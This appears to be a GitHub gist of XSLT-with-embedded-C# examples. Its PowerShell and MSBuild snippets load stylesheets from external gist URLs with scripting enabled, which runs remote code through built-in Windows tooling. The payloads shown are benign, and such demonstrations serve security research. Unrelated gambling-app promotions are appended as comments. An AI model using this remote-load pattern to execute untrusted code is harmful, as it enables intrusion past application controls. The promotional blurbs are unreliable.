-
-
Save rvrsh3ll/fd4a8bbfca0f7265503c022aabc7942b to your computer and use it in GitHub Desktop.
XSLT C# Examples
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
| xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
| xmlns:user="urn:my-scripts"> | |
| <msxsl:script language="C#" implements-prefix="user"> | |
| <![CDATA[ | |
| public double circumference(double radius){ | |
| double pi = 3.14; | |
| double circ = pi*radius*2; | |
| return circ; | |
| } | |
| public int getem(string message) { | |
| Console.WriteLine(message); | |
| return 0; | |
| } | |
| ]]> | |
| </msxsl:script> | |
| <xsl:template match="data"> | |
| <circles> | |
| <xsl:for-each select="circle"> | |
| <circle> | |
| <xsl:copy-of select="node()"/> | |
| <circumference> | |
| <xsl:value-of select="user:getem(radius)"/> | |
| </circumference> | |
| </circle> | |
| </xsl:for-each> | |
| </circles> | |
| </xsl:template> | |
| </xsl:stylesheet> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
| xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
| xmlns:user="urn:my-scripts"> | |
| <msxsl:script language="C#" implements-prefix="user"> | |
| <![CDATA[ | |
| public double circumference(double radius){ | |
| double pi = 3.14; | |
| double circ = pi*radius*2; | |
| Console.WriteLine("Hey There"); | |
| return circ; | |
| } | |
| ]]> | |
| </msxsl:script> | |
| <xsl:template match="data"> | |
| <circles> | |
| <xsl:for-each select="circle"> | |
| <circle> | |
| <xsl:copy-of select="node()"/> | |
| <circumference> | |
| <xsl:value-of select="user:circumference(radius)"/> | |
| </circumference> | |
| </circle> | |
| </xsl:for-each> | |
| </circles> | |
| </xsl:template> | |
| </xsl:stylesheet> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Can probably compact further | |
| $xslt = New-Object System.Xml.Xsl.XslCompiledTransform | |
| $xslt_settings = New-Object System.Xml.Xsl.Xsltsettings | |
| $xslt_settings.EnableScript = $true | |
| $xslt.Load("https://gist.githubusercontent.com/secdev02/e0f764120b62e0085e649757c073af72/raw/1a614d760aab80e582e28bc8b17bfb8ca7a4559f/calc.xsl", $xslt_settings, $(new-object System.Xml.XmlUrlResolver)) | |
| $xslt.Transform("https://gist.githubusercontent.com/secdev02/e0f764120b62e0085e649757c073af72/raw/1a614d760aab80e582e28bc8b17bfb8ca7a4559f/Numbers.Xml", "dumb.txt") | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version='1.0'?> | |
| <data> | |
| <circle> | |
| <radius>12</radius> | |
| </circle> | |
| <circle> | |
| <radius>37.5</radius> | |
| </circle> | |
| </data> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.IO; | |
| using System.Xml; | |
| using System.Xml.XPath; | |
| using System.Xml.Xsl; | |
| public class Sample { | |
| private const String filename = "number.xml"; | |
| private const String stylesheet = "calc.xsl"; | |
| public static void Main() { | |
| // Compile the style sheet. | |
| XsltSettings xslt_settings = new XsltSettings(); | |
| xslt_settings.EnableScript = true; | |
| XslCompiledTransform xslt = new XslCompiledTransform(); | |
| xslt.Load(stylesheet, xslt_settings, new XmlUrlResolver()); | |
| // Load the XML source file. | |
| XPathDocument doc = new XPathDocument(filename); | |
| // Create an XmlWriter. | |
| XmlWriterSettings settings = new XmlWriterSettings(); | |
| settings.OmitXmlDeclaration = true; | |
| settings.Indent = true; | |
| XmlWriter writer = XmlWriter.Create("output.xml", settings); | |
| // Execute the transformation. | |
| xslt.Transform(doc, writer); | |
| writer.Close(); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0"> | |
| <Target Name="Example"> | |
| <ItemGroup> | |
| <XmlFiles Include="https://gist.githubusercontent.com/caseysmithrc/8e58d11bc99e496a19424fbe5a99175f/raw/eac5a3114138e54f628489dbd50fb08fac5f2a32/Numbers.Xml" /> | |
| </ItemGroup> | |
| <PropertyGroup> | |
| <XslFile>https://gist.githubusercontent.com/caseysmithrc/8e58d11bc99e496a19424fbe5a99175f/raw/eac5a3114138e54f628489dbd50fb08fac5f2a32/calc.xsl</XslFile> | |
| </PropertyGroup> | |
| <XslTransformation | |
| OutputPaths="blah" | |
| XmlInputPaths="%(XmlFiles.Identity)" | |
| XslInputPath="$(XslFile)" | |
| /> | |
| </Target> | |
| </Project> |
KV8 Game is an emerging platform in the online gaming sector, known for its focus on regional card games and interactive "fish hunter" style arcade games. The app provides a social gaming environment where players can join public tables or compete in private matches with friends. It stands out by offering a highly localized experience, often incorporating themes and languages specific to the South Asian market. KV8 Game places a strong emphasis on community engagement, frequently hosting tournaments and leaderboard challenges that reward the most active and skillful players on the platform.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
H555 is an online gaming platform that has gained popularity in South Asia for offering a variety of casino-style games and slots. It is primarily designed as a mobile-friendly application where users can participate in real-money wagering across different categories, including traditional card games and modern virtual betting rooms. The platform is known for its high-energy interface and promotional bonuses, attracting players who are looking for a digital gambling experience that combines classic luck-based games with the convenience of a smartphone app.